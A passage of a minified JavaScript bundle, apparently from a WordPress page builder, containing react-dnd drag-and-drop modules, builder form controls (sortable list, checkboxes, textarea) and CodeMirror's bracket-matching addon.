r.BEGIN_DRAG:return{initialSourceClientOffset:t.sourceClientOffset,initialClientOffset:t.clientOffset,clientOffset:t.clientOffset};case r.HOVER:return function(e,t){if(e===t)return!0;return e&&t&&e.x===t.x&&e.y===t.y}(e.clientOffset,t.clientOffset)?e:o({},e,{clientOffset:t.clientOffset});case r.END_DRAG:case r.DROP:return i;default:return e}},t.getSourceClientOffset=function(e){var t=e.clientOffset,n=e.initialClientOffset,o=e.initialSourceClientOffset;if(!t||!n||!o)return null;return{x:t.x+o.x-n.x,y:t.y+o.y-n.y}},t.getDifferenceFromInitialOffset=function(e){var t=e.clientOffset,n=e.initialClientOffset;if(!t||!n)return null;return{x:t.x-n.x,y:t.y-n.y}};var r=n(1283),i={initialSourceClientOffset:null,initialClientOffset:null,clientOffset:null}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){return(0,i.default)(e)?e.some(function(e){return e===t}):e===t};var o,r=n(17),i=(o=r)&&o.__esModule?o:{default:o}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){arguments.length>0&&void 0!==arguments[0]&&arguments[0];var e=arguments[1],t=arguments[2];switch(e.type){case i.HOVER:break;case a.ADD_SOURCE:case a.ADD_TARGET:case a.REMOVE_TARGET:case a.REMOVE_SOURCE:return l;case i.BEGIN_DRAG:case i.PUBLISH_DRAG_SOURCE:case i.END_DRAG:case i.DROP:default:return u}var n=e.targetIds,r=t.targetIds,s=(0,o.default)(n,r),c=!1;if(0===s.length){for(var d=0;d<n.length;d++)if(n[d]!==r[d]){c=!0;break}}else c=!0;if(!c)return l;var p=r[r.length-1],f=n[n.length-1];p!==f&&(p&&s.push(p),f&&s.push(f));return s},t.areDirty=function(e,t){if(e===l)return!1;if(e===u||void 0===t)return!0;return(0,r.default)(t,e).length>0};var o=s(n(475)),r=s(n(95)),i=n(1283),a=n(1284);function s(e){return e&&e.__esModule?e:{default:e}}var l=[],u=[]},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isSafari=t.isFirefox=void 0;var o,r=n(186),i=(o=r)&&o.__esModule?o:{default:o};t.isFirefox=(0,i.default)(function(){return/firefox/i.test(navigator.userAgent)}),t.isSafari=(0,i.default)(function(){return Boolean(window.safari)})},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.unpackBackendForEs5Users=t.createChildContext=t.CHILD_CONTEXT_TYPES=void 0;var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},r=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}(),i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};t.default=function(e){p.default.apply(void 0,["DragDropContext","backend"].concat(Array.prototype.slice.call(arguments)));var t=g(e),n=m(t);return function(e){var t,i,l=e.displayName||e.name||"Component",u=(i=t=function(t){function i(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(i.__proto__||Object.getPrototypeOf(i)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(i,t),r(i,[{key:"getDecoratedComponentInstance",value:function(){return(0,c.default)(this.child,"In order to access an instance of the decorated component it can not be a stateless component."),this.child}},{key:"getManager",value:function(){return n.dragDropManager}},{key:"getChildContext",value:function(){return n}},{key:"render",value:function(){var t=this;return s.default.createElement(e,o({},this.props,{ref:function(e){t.child=e}}))}}]),i}(a.Component),t.DecoratedComponent=e,t.displayName="DragDropContext("+l+")",t.childContextTypes=h,i);return(0,d.default)(u,e)}};var a=n(1),s=f(a),l=f(n(4)),u=n(1302),c=f(n(1277)),d=f(n(819)),p=f(n(1285));function f(e){return e&&e.__esModule?e:{default:e}}var h=t.CHILD_CONTEXT_TYPES={dragDropManager:l.default.object.isRequired},m=t.createChildContext=function(e,t){return{dragDropManager:new u.DragDropManager(e,t)}},g=t.unpackBackendForEs5Users=function(e){var t=e;return"object"===(void 0===t?"undefined":i(t))&&"function"==typeof t.default&&(t=t.default),(0,c.default)("function"==typeof t,"Expected the backend to be a function or an ES6 module exporting a default function. Read more: http://react-dnd.github.io/react-dnd/docs-drag-drop-context.html"),t}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};t.default=function(e,t){if(e===t)return!0;if("object"!==(void 0===e?"undefined":o(e))||null===e||"object"!==(void 0===t?"undefined":o(t))||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(var i=Object.prototype.hasOwnProperty,a=0;a<n.length;a+=1){if(!i.call(t,n[a]))return!1;var s=e[n[a]],l=t[n[a]];if(s!==l||"object"===(void 0===s?"undefined":o(s))||"object"===(void 0===l?"undefined":o(l)))return!1}return!0}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();t.default=function(e){var t,n,h=e.DecoratedComponent,m=e.createHandler,g=e.createMonitor,v=e.createConnector,b=e.registerHandler,y=e.containerDisplayName,_=e.getType,k=e.collect,w=e.options.arePropsEqual,C=void 0===w?f.default:w,E=h.displayName||h.name||"Component",O=(n=t=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var o=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return o.handleChange=o.handleChange.bind(o),o.handleChildRef=o.handleChildRef.bind(o),(0,c.default)("object"===r(o.context.dragDropManager),"Could not find the drag and drop manager in the context of %s. Make sure to wrap the top-level component of your app with DragDropContext. Read more: http://react-dnd.github.io/react-dnd/docs-troubleshooting.html#could-not-find-the-drag-and-drop-manager-in-the-context",E,E),o.manager=o.context.dragDropManager,o.handlerMonitor=g(o.manager),o.handlerConnector=v(o.manager.getBackend()),o.handler=m(o.handlerMonitor),o.disposable=new u.SerialDisposable,o.receiveProps(e),o.state=o.getCurrentState(),o.dispose(),o}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),i(t,[{key:"getHandlerId",value:function(){return this.handlerId}},{key:"getDecoratedComponentInstance",value:function(){return this.decoratedComponentInstance}},{key:"shouldComponentUpdate",value:function(e,t){return!C(e,this.props)||!(0,p.default)(t,this.state)}}]),i(t,[{key:"componentDidMount",value:function(){this.isCurrentlyMounted=!0,this.disposable=new u.SerialDisposable,this.currentType=null,this.receiveProps(this.props),this.handleChange()}},{key:"componentWillReceiveProps",value:function(e){C(e,this.props)||(this.receiveProps(e),this.handleChange())}},{key:"componentWillUnmount",value:function(){this.dispose(),this.isCurrentlyMounted=!1}},{key:"receiveProps",value:function(e){this.handler.receiveProps(e),this.receiveType(_(e))}},{key:"receiveType",value:function(e){if(e!==this.currentType){this.currentType=e;var t=b(e,this.handler,this.manager),n=t.handlerId,o=t.unregister;this.handlerId=n,this.handlerMonitor.receiveHandlerId(n),this.handlerConnector.receiveHandlerId(n);var r=this.manager.getMonitor(),i=r.subscribeToStateChange(this.handleChange,{handlerIds:[n]});this.disposable.setDisposable(new u.CompositeDisposable(new u.Disposable(i),new u.Disposable(o)))}}},{key:"handleChange",value:function(){if(this.isCurrentlyMounted){var e=this.getCurrentState();(0,p.default)(e,this.state)||this.setState(e)}}},{key:"dispose",value:function(){this.disposable.dispose(),this.handlerConnector.receiveHandlerId(null)}},{key:"handleChildRef",value:function(e){this.decoratedComponentInstance=e,this.handler.receiveComponent(e)}},{key:"getCurrentState",value:function(){var e=k(this.handlerConnector.hooks,this.handlerMonitor);return e}},{key:"render",value:function(){return s.default.createElement(h,o({},this.props,this.state,{ref:this.handleChildRef}))}}]),t}(a.Component),t.DecoratedComponent=h,t.displayName=y+"("+E+")",t.contextTypes={dragDropManager:l.default.object.isRequired},n);return(0,d.default)(O,h)};var a=n(1),s=h(a),l=h(n(4)),u=n(1363),c=(h(n(149)),h(n(1277))),d=h(n(819)),p=h(n(1293)),f=h(n(1308));function h(e){return e&&e.__esModule?e:{default:e}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t={};return Object.keys(e).forEach(function(n){var o=function(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if((0,r.isValidElement)(t)){var o=t;!function(e){if("string"!=typeof e.type){var t=e.type.displayName||e.type.name||"the component";throw new Error("Only native element nodes can now be passed to React DnD connectors.You can either wrap "+t+" into a <div>, or turn it into a drag source or a drop target itself.")}}(o);var i=n?function(t){return e(t,n)}:e;return(0,a.default)(o,i)}var s=t;e(s,n)}}(e[n]);t[n]=function(){return o}}),t};var o,r=n(1),i=n(1371),a=(o=i)&&o.__esModule?o:{default:o}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){if(t===e)return!0;return null!==t&&null!==e&&(0,i.default)(t,e)};var o,r=n(1293),i=(o=r)&&o.__esModule?o:{default:o}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};t.default=function e(t,n){return"string"==typeof t||"symbol"===(void 0===t?"undefined":o(t))||n&&(0,a.default)(t)&&t.every(function(t){return e(t,!1)})};var r,i=n(17),a=(r=i)&&r.__esModule?r:{default:r}},function(e,t,n){"use strict";(function(e){var o=n(1),r=n.n(o),i=n(22),a=n.n(i),s=n(25),l=n(34),u=n.n(l),c=n(11),d=n.n(c),p=n(15),f=n.n(p),h=n(7),m=n.n(h),g=n(82),v=n.n(g),b=n(8),y=n.n(b),_=(n(24),n(47)),k=n.n(_),w=n(2),C=n.n(w),E=n(31),O=n.n(E),S=n(46),T=n.n(S),M=n(287),x=n.n(M),P=n(83),j=n.n(P),L=n(119),N=n.n(L),D=n(1297),A=n(40),F=n(1511),I=n(1290),R=n(1380),B=(n(1381),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),W=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var V=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));H.call(t);var o=JSON.parse(t.props.value||"[]");if(0!==o.length||t.props.allowEmpty)d()(o,function(e){return e.dragID=t._nextDragID()});else{var r=C()(t.props,"module.props.module.props.attrs.field_type",!1),i=C()(t.props,"module.props.module.props.attrs.checkbox_checked","off"),a="";"checkbox"===r&&(a=C()(t.props,"module.props.module.props.attrs.field_title","")),o=[{value:a,checked:"on"===i?1:0,dragID:t._nextDragID()}],t.focusItemInput()}return t.state={items:JSON.stringify(o),editing_link:!1},t.emitChange(),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["PureComponent"]),W(n,[{key:"componentDidUpdate",value:function(e){var t=this.props.value;e.value===t||this.userUpdate||this.setState({items:t}),this.userUpdate=!1,N.a.rebuild()}},{key:"addItem",value:function(e,t,n){t&&t.preventDefault();var o=this.state.items||"[]",r=JSON.parse(o),i=r.length&&!1!==e&&!n?r[e]:{},a=this._nextDragID();!1!==e?r.splice(e+1,0,B({},i,{dragID:a})):r.push({value:"",checked:0,dragID:a}),this.userUpdate=!0,this.setState({items:JSON.stringify(r)}),this.emitChange(),v()(e)?(this.focusItemInput(e+1),this.props._onAddItem(e+1)):(this.focusItemInput(),this.props._onAddItem(r.length-1))}},{key:"editItem",value:function(e,t){t.preventDefault(),this.props._onAddItem(e)}},{key:"removeItem",value:function(e,t){t.preventDefault();var n=this.state.items||"[]",o=JSON.parse(n);o.splice(e,1),0!==o.length||this.props.allowEmpty||(o=[{value:"",checked:0,dragID:0}]),this.userUpdate=!0,this.setState({items:JSON.stringify(o)}),this.emitChange()}},{key:"showLinkSettings",value:function(t,n){if(n.target){n.preventDefault();var o=this.state.items||"[]",r=JSON.parse(o);this.link_settings_backup=j()(r[t]),x()(this.link_settings_backup,{link_url:"",link_text:""})}else if(t=!1,R.a.SORTABLE_LIST_LINK_SETTINGS_CLOSE===n.props.buttonName){var i=this.state.items||"[]",a=JSON.parse(i);a[this.state.editing_link]=this.link_settings_backup,this.setState({items:JSON.stringify(a)}),this.emitChange()}(ET_Builder&&ET_Builder.Frames.top.jQuery("body")||e("body")).toggleClass("et-core-control-sortable-list-editing-link",!1!==t),this.setState({editing_link:t}),this.props.onEditingLink(!1!==t)}},{key:"updateItems",value:function(e,t,n,o){o.preventDefault();var r="click"===o.type,i=this.state.items||"[]",a=JSON.parse(i),s=r?t.value:o.target.value,l=!m()(this.props.checkbox)&&!0===this.props.checkbox;y()(a)&&a.push(t),r&&!l&&d()(a,function(e){return e.checked=0}),f()(a[e],{value:s,checked:n?1:0}),this.userUpdate=!0,this.setState({items:JSON.stringify(a)}),this.emitChange()}},{key:"_renderAddNewItemButton",value:function(){var e=this,t=this.addItem.bind(this,!1,!1),n={size:Object(s.spring)(1,{stiffness:300,damping:20}),opacity:Object(s.spring)(1,{stiffness:300,damping:20})};return r.a.createElement("span",{className:"et-fb-item-button-wrap--add"},r.a.createElement(s.Motion,{defaultStyle:{size:0,opacity:0},style:n},function(n){var o={opacity:n.opacity,transform:"scale( "+n.size+" )"};return r.a.createElement(D.a,{round:!0,style:o,tooltip:e.props.tooltip,_onClick:t},r.a.createElement(A.a,{size:"14",icon:"add",color:"#FFFFFF"}))}),r.a.createElement("label",{className:"et-fb-form__label"},this.props.buttonLabel))}},{key:"_renderItems",value:function(){var e=this,t=this.state.items||"[]",n=JSON.parse(t),o=!m()(this.props.radio)&&!0===this.props.radio,i=!m()(this.props.checkbox)&&!0===this.props.checkbox,s=this.props.right_actions;return this.props.readonly&&O()(this,"props.right_actions_readonly")?s=this.props.right_actions_readonly:this.props.readonly&&!s?s="move":s||(s="move|copy|delete"),u()(n,function(t,n){var l=1===t.checked,u=a()({"et-core-control-sortable-list__row":!0,"et-core-control-sortable-list__row--radio":o,"et-core-control-sortable-list__row--checkbox":i}),c=a()({"et-core-control-sortable-list__check":!0,"et-core-control-sortable-list--checked":l}),d=e.updateItems.bind(e,n,t,!l),p=e.updateItems.bind(e,n,t,l),f=e.addItem.bind(e,n),h=e.addItem.bind(e,n,!1,!0),m=e.removeItem.bind(e,n),g=e.editItem.bind(e,n),v=e.showLinkSettings.bind(e,n),b=C()(t,"value",""),y=C()(t,"field_id",""),_=""===C()(t,"field_title","")?y:C()(t,"field_title",""),k=""===b?_:b;return r.a.createElement(F.a,{classes:u,key:t.dragID,id:t.dragID,index:n,moveItem:e.moveItem,isCheckbox:i,isRadio:o,checkClasses:c,onCheck:d,onChange:p,onAdd:h,onCopy:f,onDelete:m,onSetting:g,onLink:v,value:k,useInput:e.props.useInput||!e.props.readonly,readonly:e.props.readonly,left_actions:e.props.left_actions,right_actions:s})})}},{key:"_renderLinkSettings",value:function(){var e=this,t=this.state.items||"[]",n=JSON.parse(t);if(!n[this.state.editing_link])return!1;var o=n[this.state.editing_link],i=this.showLinkSettings.bind(this,this.state.editing_link),a={size:this.props.animation?Object(s.spring)(1,{stiffness:300,damping:20}):1,opacity:this.props.animation?Object(s.spring)(1,{stiffness:300,damping:20}):1};return r.a.createElement(s.Motion,{defaultStyle:{size:.5,opacity:0},style:a},function(t){return r.a.createElement("div",{className:"et-core-control-sortable-list__link-settings",style:{opacity:t.opacity,transform:"scale( "+t.size+" )"}},r.a.createElement("h4",null,e.props.labels.link_settings),r.a.createElement("div",null,r.a.createElement("p",{className:"et-fb-form__label"},e.props.labels.link_url),r.a.createElement(D.c,{className:"et-fb-settings-option-input et-fb-settings-option-input--block",type:"text",name:e.state.editing_link+".link_url",value:o.link_url,_onChange:e.onChangeLinkSettings})),r.a.createElement("div",null,r.a.createElement("p",{className:"et-fb-form__label"},e.props.labels.link_text),r.a.createElement(D.c,{className:"et-fb-settings-option-input et-fb-settings-option-input--block",type:"text",name:e.state.editing_link+".link_text",value:o.link_text,_onChange:e.onChangeLinkSettings})),r.a.createElement(D.b,{block:!0},r.a.createElement(D.a,{block:!0,danger:!0,buttonName:R.a.SORTABLE_LIST_LINK_SETTINGS_CLOSE,tooltip:e.props.labels.link_cancel,_onClick:i},e.props.linkSettingsShowIcon?r.a.createElement(A.a,{icon:"exit",color:"#FFFFFF"}):null,e.props.linkSettingsShowIcon?null:e.props.labels.link_cancel),r.a.createElement(D.a,{block:!0,success:!0,buttonName:R.a.SORTABLE_LIST_LINK_SETTINGS_SAVE,tooltip:e.props.labels.link_save,_onClick:i},e.props.linkSettingsShowIcon?r.a.createElement(A.a,{icon:"check",color:"#FFFFFF"}):null,e.props.linkSettingsShowIcon?null:e.props.labels.link_save)))})}},{key:"render",value:function(){var e=this,t=this.props.additional_attrs?this.props.additional_attrs:{},n=this.props.id;n||(n="et-fb-"+this.props.name);var o=!1!==this.state.editing_link;return r.a.createElement(I.a,null,r.a.createElement("div",{className:"et-core-control-sortable-list",ref:function(t){return e.itemsList=t}},this._renderItems(),o&&this._renderLinkSettings(),r.a.createElement("textarea",B({value:this.state.items,name:this.props.name,id:n,onChange:T.a},t)),this.props.useAddNewButton&&this._renderAddNewItemButton()))}}]),n}();V.defaultProps={onEditingLink:T.a,_onAddItem:T.a,animation:!0,linkSettingsShowIcon:!0};var H=function(){var e=this;this.nextDragID=-1,this._nextDragID=function(){return e.nextDragID++},this.emitChange=function(){return setTimeout(function(){return e.props._onChange(e.props.name,e.state.items)},0)},this.focusItemInput=function(t){setTimeout(function(){var n=e.itemsList.querySelectorAll(".et-core-control-sortable-list__row input");0!==n.length&&((!1===t||m()(t))&&(t=n.length-1),n[t].focus())})},this.moveItem=function(t,n){var o=JSON.parse(e.state.items),r=o[t];o[t]=o[n],o[n]=r,e.userUpdate=!0,e.setState({items:JSON.stringify(o)}),e.emitChange()},this.onChangeLinkSettings=function(t,n){var o=JSON.parse(e.state.items);k()(o,t,n),e.userUpdate=!0,e.setState({items:JSON.stringify(o)}),e.emitChange()}};t.a=V}).call(this,n(24))},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(37),a=n.n(i),s=n(4),l=n.n(s),u=n(6),c=n(0),d=(n(1286),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),p=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var f=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.onChange=function(e){var t=e.target.checked,o=e.target.value,r=Object(u.L)(n.props.options,function(e){return e.value}),i=n.props.value.split("|");t&&!Object(u.s)(i,o)?i.push(o):t||(i=Object(u.V)(i,function(e){return e!==o}));var a=Object(u.L)(r,function(e){return Object(u.s)(i,e)?e:""}).join("|");!Object(c.hasValue)(a)&&Object(c.hasValue)(Object(u.o)(n.props,"default"))&&(a="|"),n.props._onChange(n.props.name,a)},n.getValue=function(){var e=n.props.value;return Object(c.hasValue)(e)?e.split("|"):Object(u.o)(n.props,"default","").split("|")},n.renderLoading=function(){return r.a.createElement("div",{className:"et-fb-select-ajaxified__spinner"})},n.shouldComponentUpdate=a.a.shouldComponentUpdate.bind(n),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,o["Component"]),p(t,[{key:"render",value:function(){var e=this,t=this.props,n=t.name,o=t.options,i=t.readonly,a=t.shortcut_index,s={readOnly:i},l="";return Object(u.w)(o)||(l=Object(u.fb)(o).map(function(t,o){var i=Object(u.E)(t)?t:t.value,l=Object(u.E)(t)?t:t.label,c="et-fb-multiple-checkbox-"+n+"-"+a+"-"+o,p=Object(u.s)(e.getValue(),i);return r.a.createElement("p",{key:c},r.a.createElement("label",{htmlFor:c},r.a.createElement("input",d({type:"checkbox",id:c,name:"et_fb_multiple_checkboxes["+o+"]",value:i,onChange:e.onChange,checked:p,"data-index":o},s))," ",l))})),r.a.createElement("div",{className:"et-fb-multiple-checkboxes-wrap"},l,this.props.loading&&this.renderLoading())}}]),t}();f.defaultProps={defaults:[],value:"",_onChange:u.P,readonly:!1,loading:!1},f.propTypes={options:l.a.object.isRequired,defaults:l.a.array,value:l.a.string,name:l.a.string.isRequired,_onChange:l.a.func,readonly:l.a.bool,loading:l.a.bool},t.a=f},function(e,t,n){"use strict";var o=n(1),r=n.n(o),i=n(242),a=n.n(i),s=n(22),l=n.n(s),u=n(37),c=n.n(u),d=n(46),p=n.n(d),f=n(7),h=n.n(f),m=n(140),g=n.n(m),v=n(2),b=n.n(v),y=(n(12),n(1392),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),_=a()({displayName:"ETBuilderControlTextarea",mixins:[c.a],getInitialState:function(){return this.isEditing=!1,this.getNewState()},getModuleAddres:function(){return b()(this,"props.module.props.module.props.address")},getNewState:function(){var e=this.props.is_fb_content?this.props.content:this.props.value;return{value:this.processValue(e),id:this.getModuleAddres()}},componentDidMount:function(){this.saveValue=g()(this.updateOptionValue,0,{leading:!1})},componentDidUpdate:function(){this.getModuleAddres()!==this.state.id&&this.setState(this.getNewState())},UNSAFE_componentWillReceiveProps:function(e){if(this.isEditing)this.isEditing=!1;else{var t=this.props,n=t.is_fb_content?t.content:t.value,o=t.is_fb_content?e.content:e.value;n!=o&&this.setState({value:this.processValue(o)})}},processValue:function(e){return"string"!=typeof e||e?("raw_content"===this.props.name&&(e=e.split("\x3c!-- [et_pb_line_break_holder] --\x3e").join("\n")),"custom_message"!==this.props.name||h()(e)||(e=e.split("||et_pb_line_break_holder||").join("\r\n")),e):new String("")},render:function(){var e=this.props.additional_attrs?this.props.additional_attrs:{},t={"et-fb-settings-option-textarea":!0};return this.props.className?t[this.props.className]=!0:(t["et-fb-main-setting"]=!0,t["regular-text"]=!0),r.a.createElement("textarea",y({className:l()(t),value:this.state.value,name:this.props.name,id:"et-fb-"+this.props.name,onChange:p.a,onInput:this._onInput},e))},_onInput:function(e){var t=e.target.value;this.setState({value:this.processValue(t)}),this.saveValue.cancel(),this.saveValue()},updateOptionValue:function(){var e=this.state.value;this.isEditing=!0,this.props._onChange(this.props.name,e,this.props.type)}});t.a=_},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
!function(e){var t=/MSIE \d/.test(navigator.userAgent)&&(null==document.documentMode||document.documentMode<8),n=e.Pos,o={"(":")>",")":"(<","[":"]>","]":"[<","{":"}>","}":"{<","<":">>",">":"<<"};function r(e){return e&&e.bracketRegex||/[(){}[\]]/}function i(e,t,i){var s=e.getLineHandle(t.line),l=t.ch-1,u=i&&i.afterCursor;null==u&&(u=/(^| )cm-fat-cursor($| )/.test(e.getWrapperElement().className));var c=r(i),d=!u&&l>=0&&c.test(s.text.charAt(l))&&o[s.text.charAt(l)]||c.test(s.text.charAt(l+1))&&o[s.text.charAt(++l)];if(!d)return null;var p=">"==d.charAt(1)?1:-1;if(i&&i.strict&&p>0!=(l==t.ch))return null;var f=e.getTokenTypeAt(n(t.line,l+1)),h=a(e,n(t.line,l+(p>0?1:0)),p,f||null,i);return null==h?null:{from:n(t.line,l),to:h&&h.pos,match:h&&h.ch==d.charAt(0),forward:p>0}}function a(e,t,i,a,s){for(var l=s&&s.maxScanLineLength||1e4,u=s&&s.maxScanLines||1e3,c=[],d=r(s),p=i>0?Math.min(t.line+u,e.lastLine()+1):Math.max(e.firstLine()-1,t.line-u),f=t.line;f!=p;f+=i){var h=e.getLine(f);if(h){var m=i>0?0:h.length-1,g=i>0?h.length:-1;if(!(h.length>l))for(f==t.line&&(m=t.ch-(i<0?1:0));m!=g;m+=i){var v=h.charAt(m);if(d.test(v)&&(void 0===a||e.getTokenTypeAt(n(f,m+1))==a)){var b=o[v];if(b&&">"==b.charAt(1)==i>0)c.push(v);else{if(!c.length)return{pos:n(f,m),ch:v};c.pop()}}}}}return f-i!=(i>0?e.lastLine():e.firstLine())&&null}function s(e,o,r){for(var a=e.state.matchBrackets.maxHighlightLineLength||1e3,s=[],l=e.listSelections(),u=0;u<l.length;u++){var c=l[u].empty()&&i(e,l[u].head,r);if(c&&e.getLine(c.from.line).length<=a){var d=c.match?"CodeMirror-matchingbracket":"CodeMirror-nonmatchingbracket";s.push(e.markText(c.from,n(c.from.line,c.from.ch+1),{className:d})),c.to&&e.getLine(c.to.line).length<=a&&s.push(e.markText(c.to,n(c.to.line,c.to.ch+1),{className:d}))}}if(s.length){t&&e.state.focused&&e.focus();var p=function(){e.operation(function(){for(var e=0;e<s.length;e++)s[e].clear()})};if(!o)return p;setTimeout(p,800)}}function l(e){e.operation(function(){e.state.matchBrackets.currentlyHighlighted&&(e.state.matchBrackets.currentlyHighlighted(),e.state.matchBrackets.currentlyHighlighted=null),e.state.matchBrackets.currentlyHighlighted=s(e,!1,e.state.matchBrackets)})}e.defineOption("matchBrackets",!1,function(t,n,o){function r(e){e.state.matchBrackets&&e.state.matchBrackets.currentlyHighlighted&&(e.state.matchBrackets.currentlyHighlighted(),e.state.matchBrackets.currentlyHighlighted=null)}o&&o!=e.Init&&(t.off("cursorActivity",l),t.off("focus",l),t.off("blur",r),r(t)),n&&(t.state.matchBrackets="object"==typeof n?n:{},t.on("cursorActivity",l),t.on("focus",l),t.on("blur",r))}),e.defineExtension("matchBrackets",function(){s(this,!0)}),e.defineExtension("findMatchingBracket",function(e,t,n){return(n||"boolean"==typeof t)&&(n?(n.strict=t,t=n):t=t?{strict:!0}:null),i(this,e,t)}),e.defineExtension("scanForBracket",function(e,t,n,o){return a(this,e,t,n,o)})}(n(1276))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
